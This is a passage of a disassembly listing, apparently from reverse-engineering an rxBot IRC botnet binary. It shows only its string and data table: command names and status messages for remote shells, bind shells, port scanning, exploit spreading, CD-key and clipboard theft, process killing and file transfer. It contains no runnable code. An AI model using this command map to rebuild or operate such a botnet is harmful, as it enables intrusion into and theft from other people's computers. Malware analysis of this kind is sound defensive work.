%d.',0 align 10h unk_442140 db 2Dh ; - ; DATA XREF: sub_4021E5+1921o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_44216C db 2Dh ; - ; DATA XREF: sub_4021E5+198Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 aVersion db 'version',0 ; DATA XREF: sub_4021E5+19EDo aVer db 'ver',0 ; DATA XREF: sub_4021E5+1A0Ao dword_442198 dd 234032Dh, 6E69616Dh, 202D0302h, 7325haDedication db 'dedication',0 ; DATA XREF: sub_4021E5+1A7Bo align 4 aDed db 'ded',0 ; DATA XREF: sub_4021E5+1A98o unk_4421B8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_403C8Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 aSecure db 'secure',0 ; DATA XREF: sub_4021E5+1B03o align 10h aSec db 'sec',0 ; DATA XREF: sub_4021E5+1B20o aUnsecure db 'unsecure',0 ; DATA XREF: sub_4021E5+1B3Do align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_4021E5+1B5Ao align 4 aSecure_0 db 'secure',0 ; DATA XREF: sub_4021E5+1B7Bo align 10h aSec_0 db 'sec',0 ; DATA XREF: sub_4021E5+1B98o aSecuring db 'Securing',0 ; DATA XREF: sub_4021E5+1C08o align 10h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_4021E5:loc_403DF9o align 4 dword_4422AC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_4021E5+1C24o dd 2E6D6574h, 0 dword_4422C8 dd 234032Dh, 75636573h, 3026572haFailedToStar_0 db '- Failed to start secure thread, error: <%d>.',0 align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_4021E5+1CEEo align 10h aBd db 'bd',0 ; DATA XREF: sub_4021E5+1D0Bo align 4 unk_442314 db 2Dh ; - ; DATA XREF: sub_4021E5+1DE7o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h unk_442340 db 2Dh ; - ; DATA XREF: sub_4021E5+1E96o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_1 db ' Failed to start server thread, error: <%d>.',0 align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_4021E5+1EB7o align 10h aServer_1 db 'Server',0 ; DATA XREF: sub_4021E5+1ED6o align 4 dword_442398 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_4021E5+1EDBo aRloginstop db 'rloginstop',0 ; DATA XREF: sub_4021E5+1F0Fo align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_4021E5+1F2Eo align 10h dword_4423C0 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haHttpstop db 'httpstop',0 ; DATA XREF: sub_4021E5+1F67o align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_4021E5+1F86o align 4 dword_4423E4 dd 234032Dh, 70747468h, 2D030264h, 0aLogstop db 'logstop',0 ; DATA XREF: sub_4021E5+1FBFo aLogList db 'Log list',0 ; DATA XREF: sub_4021E5+1FDEo align 4 dword_442408 dd 234032Dh, 2676F6Ch, 2D03haRedirectstop db 'redirectstop',0 ; DATA XREF: sub_4021E5+2017o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_4021E5+2036o align 4 dword_442434 dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_442444 dd 736F6464h, 6F74732Eh, 70hdword_442450 dd 536F4444h, 6F6C6620h, 646Fhdword_44245C dd 234032Dh, 736F6464h, 2D0302haTftpstop db 'tftpstop',0 ; DATA XREF: sub_4021E5+20C7o align 4 aServer_4 db 'Server',0 ; DATA XREF: sub_4021E5+20E6o align 4 dword_44247C dd 234032Dh, 70746674h, 2D030264h, 0aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_4021E5+211Fo align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_4021E5+213Co align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_4021E5+215Bo align 10h dword_4424B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302haProcsstop db 'procsstop',0 ; DATA XREF: sub_4021E5+2194o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_4021E5+21B1o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_4021E5+21D0o align 4 dword_4424E4 dd 234032Dh, 636F7270h, 2D030273h, 0aClonestop db 'clonestop',0 ; DATA XREF: sub_4021E5+2209o align 10h aClone db 'Clone',0 ; DATA XREF: sub_4021E5+2228o align 4 dword_442508 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaSecurestop db 'securestop',0 ; DATA XREF: sub_4021E5+2261o align 4 aSecure_1 db 'Secure',0 ; DATA XREF: sub_4021E5+2280o align 4 dword_44252C dd 234032Dh, 75636573h, 3026572h, 2DhaScanstop db 'scanstop',0 ; DATA XREF: sub_4021E5+22B9o align 4 aScan_2 db 'Scan',0 ; DATA XREF: sub_4021E5+22D8o align 10h dword_442550 dd 234032Dh, 6E616373h, 2D0302haScanstats db 'scanstats',0 ; DATA XREF: sub_4021E5+2311o align 4 aStats db 'stats',0 ; DATA XREF: sub_4021E5+232Eo align 10h aTransferstats db 'transferstats',0 ; DATA XREF: sub_4021E5+236Ao align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_4021E5+2387o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_4021E5+23C3o align 4 aCbstats db 'cbstats',0 ; DATA XREF: sub_4021E5+23E0o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_4021E5+241Co aExplist db 'explist',0 ; DATA XREF: sub_4021E5+2439o aReconnect db 'reconnect',0 ; DATA XREF: sub_4021E5+2475o align 4 aR: ; DATA XREF: sub_4021E5+2492o unicode 0, <r>,0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_404687o align 10h dword_4425E0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_4021E5+24B1o dd 676E6974h, 2Eh aDisconnect db 'disconnect',0 ; DATA XREF: sub_4021E5+24D0o align 4 aDc db 'dc',0 ; DATA XREF: sub_4021E5+24EDo align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_4046E2o align 4 dword_442624 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_4021E5+250Co dd 6E697463h, 2E67h aQuit_0 db 'quit',0 ; DATA XREF: sub_4021E5+252Co align 4 aQ: ; DATA XREF: sub_4021E5+2549o unicode 0, <q>,0 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+25A1o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_404798o align 4 aStatus db 'status',0 ; DATA XREF: sub_4021E5+25D7o align 10h aS_0: ; DATA XREF: sub_4021E5+25F4o unicode 0, <s>,0 unk_442674 db 2Dh ; - ; DATA XREF: sub_4021E5+2611o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h aId db 'id',0 ; DATA XREF: sub_4021E5+2667o align 4 aI: ; DATA XREF: sub_4021E5+2684o unicode 0, <i>,0 dword_4426A8 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_4021E5+2699o dd 2E7325h aReboot db 'reboot',0 ; DATA XREF: sub_4021E5+26EFo align 4 unk_4426C8 db 2Dh ; - ; DATA XREF: sub_4021E5+2708o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 unk_4426E8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4048F9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h aThreads db 'threads',0 ; DATA XREF: sub_4021E5+2774o aT: ; DATA XREF: sub_4021E5+2791o unicode 0, <t>,0 aSub db 'sub',0 ; DATA XREF: sub_4021E5+27EDo dword_442720 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_4021E5+2826o dd 65726874h, 2E736461h, 0 unk_442740 db 2Dh ; - ; DATA XREF: sub_4021E5+28B4o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStartL db '- Failed to start list thread, error: <%d>.',0 align 4 aAliases db 'aliases',0 ; DATA XREF: sub_4021E5+28EAo aAl db 'al',0 ; DATA XREF: sub_4021E5+2907o align 4 dword_442788 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_4021E5+292Eo dd 2E7473h dword_4427A0 dd 676F6Ch dword_4427A4 dd 676Ch dword_4427A8 dd 7325h dword_4427AC dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_4021E5+2A1Fo dd 2E676Fh unk_4427C4 db 2Dh ; - ; DATA XREF: sub_4021E5+2AADo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_2 db '- Failed to start listing thread, error: <%d>.',0 aClearlog db 'clearlog',0 ; DATA XREF: sub_4021E5+2ACEo align 4 aClg db 'clg',0 ; DATA XREF: sub_4021E5+2AEBo aNetinfo db 'netinfo',0 ; DATA XREF: sub_4021E5+2B2Ao aNi db 'ni',0 ; DATA XREF: sub_4021E5+2B47o align 4 dword_442818 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_4021E5+2B86o dd 6F666E49h, 2Eh aSysinfo db 'sysinfo',0 ; DATA XREF: sub_4021E5+2BA6o aSi db 'si',0 ; DATA XREF: sub_4021E5+2BC3o align 10h dword_442840 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_4021E5+2BFEo dd 2E6F666Eh, 0 aRemove db 'remove',0 ; DATA XREF: sub_4021E5+2C1Eo align 4 aRm db 'rm',0 ; DATA XREF: sub_4021E5+2C3Bo align 4 dword_442868 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_4021E5+2C59o dd 746F4220h, 2Eh aProcs db 'procs',0 ; DATA XREF: sub_4021E5+2C98o align 4 aPs db 'ps',0 ; DATA XREF: sub_4021E5+2CB5o align 10h unk_442890 db 2Dh ; - ; DATA XREF: sub_4021E5+2CE3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 10h aFull db 'full',0 ; DATA XREF: sub_4021E5+2D5Ao align 4 dword_4428B8 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_4021E5:loc_404F59o dd 696C2073h, 2E7473h unk_4428D4 db 2Dh ; - ; DATA XREF: sub_4021E5+2E02o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStar_3 db ' Failed to start listing thread, error: <%d>.',0 align 10h aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_4021E5+2E38o align 4 aKey db 'key',0 ; DATA XREF: sub_4021E5+2E55o dword_442920 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0 aUptime db 'uptime',0 ; DATA XREF: sub_4021E5+2ED7o align 4 aUp db 'up',0 ; DATA XREF: sub_4021E5+2EF4o align 4 dword_44294C dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_4021E5+2F76o dd 2E7325h aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_4021E5+2FCCo align 10h aDrv db 'drv',0 ; DATA XREF: sub_4021E5+2FE9o aTestdlls db 'testdlls',0 ; DATA XREF: sub_4021E5+3032o align 10h aDll db 'dll',0 ; DATA XREF: sub_4021E5+304Fo aOpencmd db 'opencmd',0 ; DATA XREF: sub_4021E5+308Eo aOcmd db 'ocmd',0 ; DATA XREF: sub_4021E5+30ABo align 4 unk_442994 db 2Dh ; - ; DATA XREF: sub_4021E5+30CBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h unk_4429C0 db 2Dh ; - ; DATA XREF: sub_4021E5+3128o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_4429E8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_405322o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_4021E5+3198o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_4021E5+31B7o align 10h dword_442A20 dd 234032Dh, 2646D63h, 2D03hdword_442A2C dd 6F6877h dword_442A30 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_4021E5+3212o dword_442A44 dd 706D453Ch, 3E7974hdword_442A4C dd 202E6425h, 7325hunk_442A54 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4054A7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_4021E5+32DFo aGc db 'gc',0 ; DATA XREF: sub_4021E5+32FCo align 4 dword_442A84 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_4021E5+331Ao dd 2Dh dword_442A9C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_4021E5+334Fo dd 72616F62h, 2E64h aFlusharp db 'flusharp',0 ; DATA XREF: sub_4021E5+336Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_4021E5+338Co align 4 unk_442ACC db 2Dh ; - ; DATA XREF: sub_4021E5+33A5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_442AF0 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4055A5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_4021E5+3421o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_4021E5+343Eo align 10h unk_442B30 db 2Dh ; - ; DATA XREF: sub_4021E5+3465o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_442B54 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_405665o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_442B80 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_405680o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 aCurrentip db 'currentip',0 ; DATA XREF: sub_4021E5+34FCo align 4 aCip db 'cip',0 ; DATA XREF: sub_4021E5+3519o aHttpserver db 'httpserver',0 ; DATA XREF: sub_4021E5+359Do align 4 aHttp db 'http',0 ; DATA XREF: sub_4021E5+35BAo align 10h unk_442BD0 db 2Dh ; - ; DATA XREF: sub_4021E5+372Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_442C0C db 2Dh ; - ; DATA XREF: sub_4021E5+37BAo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_4 db ' Failed to start server thread, error: <%d>.',0 align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_4021E5+3816o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_4021E5+3833o align 4 unk_442C5C db 2Dh ; - ; DATA XREF: sub_4021E5+3853o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 unk_442C7C db 2Dh ; - ; DATA XREF: sub_4021E5+395Bo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_0 db ' Server started on Port: %d, File: %s.',0 align 10h unk_442CB0 db 2Dh ; - ; DATA XREF: sub_4021E5+39EAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_5 db ' Failed to start server thread, error: <%d>.',0 align 4 aCrash db 'crash',0 ; DATA XREF: sub_4021E5+3A46o align 4 dword_442CF4 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_4021E5+3A56o dd 746F6220h, 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_4021E5+3A9Co align 4 aScan db 'scan',0 ; DATA XREF: sub_4021E5+3ACAo align 10h aScan_0 db 'scan',0 ; DATA XREF: sub_4021E5+3AE7o align 4 unk_442D28 db 2Dh ; - ; DATA XREF: sub_4021E5+3B85o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 unk_442D68 db 2Dh ; - ; DATA XREF: sub_4021E5+3CECo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_6 db '- Failed to start scan, port is invalid.',0 align 10h aRandom db 'Random',0 ; DATA XREF: sub_4021E5+3E98o align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_4021E5:loc_406089o align 4 unk_442DB4 db 2Dh ; - ; DATA XREF: sub_4021E5+3ED3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h unk_442E20 db 2Dh ; - ; DATA XREF: sub_4021E5+3F62o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_7 db '- Failed to start scan thread, error: <%d>.',0 align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_4021E5+3FC3o align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+3FDAo align 4 aExploit db 'exploit',0 ; DATA XREF: sub_4021E5+4017o unk_442E94 db 2Dh ; - ; DATA XREF: sub_4021E5+40AAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_442EC4 db 2Dh ; - ; DATA XREF: sub_4021E5+4139o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_4021E5+4195o align 4 aRin db 'rin',0 ; DATA XREF: sub_4021E5+41B2o aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_4063A7o align 10h unk_442F30 db 2Dh ; - ; DATA XREF: sub_4021E5+41DEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_4021E5+4233o aRinms db 'rinms',0 ; DATA XREF: sub_4021E5+4250o align 10h aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4021E5:loc_406445o align 4 unk_442F88 db 2Dh ; - ; DATA XREF: sub_4021E5+427Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 aNick_0 db 'nick',0 ; DATA XREF: sub_4021E5+42CBo align 4 aN: ; DATA XREF: sub_4021E5+42E8o unicode 0, <n>,0 aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+4305o align 4 unk_442FC4 db 2Dh ; - ; DATA XREF: sub_4021E5+4322o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 aJoin db 'join',0 ; DATA XREF: sub_4021E5+4343o align 10h aJ: ; DATA XREF: sub_4021E5+4360o unicode 0, <j>,0 aJoinSS_1 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+438Ao align 4 unk_443004 db 2Dh ; - ; DATA XREF: sub_4021E5+43A7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 aPart_1 db 'part',0 ; DATA XREF: sub_4021E5+43C8o align 10h aPt db 'pt',0 ; DATA XREF: sub_4021E5+43E5o align 4 aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+4402o align 10h unk_443040 db 2Dh ; - ; DATA XREF: sub_4021E5+441Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 aRaw db 'raw',0 ; DATA XREF: sub_4021E5+4440o aR_1: ; DATA XREF: sub_4021E5+445Do unicode 0, <r>,0 aS_29 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+44A5o align 4 dword_443074 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_4021E5+44BBo dd 2E732520h, 0 aKillthread db 'killthread',0 ; DATA XREF: sub_4021E5+44DCo align 4 aK: ; DATA XREF: sub_4021E5+44F9o unicode 0, <k>,0 aAll db 'all',0 ; DATA XREF: sub_4021E5+451Ao unk_4430A4 db 2Dh ; - ; DATA XREF: sub_4021E5+4544o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_4430CC db 2Dh ; - ; DATA XREF: sub_4021E5:loc_40673Fo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4430F4 db 2Dh ; - ; DATA XREF: sub_4021E5+460Eo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_443118 db 2Dh ; - ; DATA XREF: sub_4021E5+4631o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 aC_quit db 'c_quit',0 ; DATA XREF: sub_4021E5+4692o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_4021E5+46AFo aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+46FCo align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_4021E5+47D7o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_4021E5+47F4o align 4 aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_4021E5+484Fo aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+486Ao align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_4021E5+48ABo align 4 aPr db 'pr',0 ; DATA XREF: sub_4021E5+48C8o align 10h unk_443190 db 2Dh ; - ; DATA XREF: sub_4021E5+48FDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 aOpen db 'open',0 ; DATA XREF: sub_4021E5+4959o align 10h aO: ; DATA XREF: sub_4021E5+4976o unicode 0, <o>,0 aOpen_0 db 'open',0 ; DATA XREF: sub_4021E5+499Do align 4 unk_4431CC db 2Dh ; - ; DATA XREF: sub_4021E5+49BBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_4431EC db 2Dh ; - ; DATA XREF: sub_4021E5+49DEo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 aServer db 'server',0 ; DATA XREF: sub_4021E5+4A3Ao align 4 aSe db 'se',0 ; DATA XREF: sub_4021E5+4A57o align 4 unk_44321C db 2Dh ; - ; DATA XREF: sub_4021E5+4A8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 aDns db 'dns',0 ; DATA XREF: sub_4021E5+4AEAo aDn db 'dn',0 ; DATA XREF: sub_4021E5+4B07o align 4 unk_44324C db 2Dh ; - ; DATA XREF: sub_4021E5+4B79o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_44326C db 2Dh ; - ; DATA XREF: sub_4021E5+4BDEo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_44328C db 2Dh ; - ; DATA XREF: sub_4021E5+4BFBo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_4021E5+4C56o align 10h aKp db 'kp',0 ; DATA XREF: sub_4021E5+4C73o align 4 unk_4432C4 db 2Dh ; - ; DATA XREF: sub_4021E5+4CBDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_4432E4 db 2Dh ; - ; DATA XREF: sub_4021E5+4CE0o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 aKill db 'kill',0 ; DATA XREF: sub_4021E5+4D3Co align 4 aKi db 'ki',0 ; DATA XREF: sub_4021E5+4D59o align 10h unk_443320 db 2Dh ; - ; DATA XREF: sub_4021E5+4D99o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 unk_443344 db 2Dh ; - ; DATA XREF: sub_4021E5+4DBCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 aDelete db 'delete',0 ; DATA XREF: sub_4021E5+4E18o align 4 aDel db 'del',0 ; DATA XREF: sub_4021E5+4E35o dword_443380 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_4021E5+4E6Do dd 27732527h, 2Eh dword_44339C dd 234032Dh, 656C6966h, 2D0302hdword_4433A8 dd 746567h dword_4433AC dd 7467h dword_4433B0 dd 7325h unk_4433B4 db 2Dh ; - ; DATA XREF: sub_4021E5+4F9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_4433D8 db 2Dh ; - ; DATA XREF: sub_4021E5+502Bo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStar_8 db '- Failed to start transfer thread, error: <%d>.',0 align 4 aList db 'list',0 ; DATA XREF: sub_4021E5+5061o align 4 aLi db 'li',0 ; DATA XREF: sub_4021E5+507Eo align 10h dword_443420 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_4021E5+50BBo 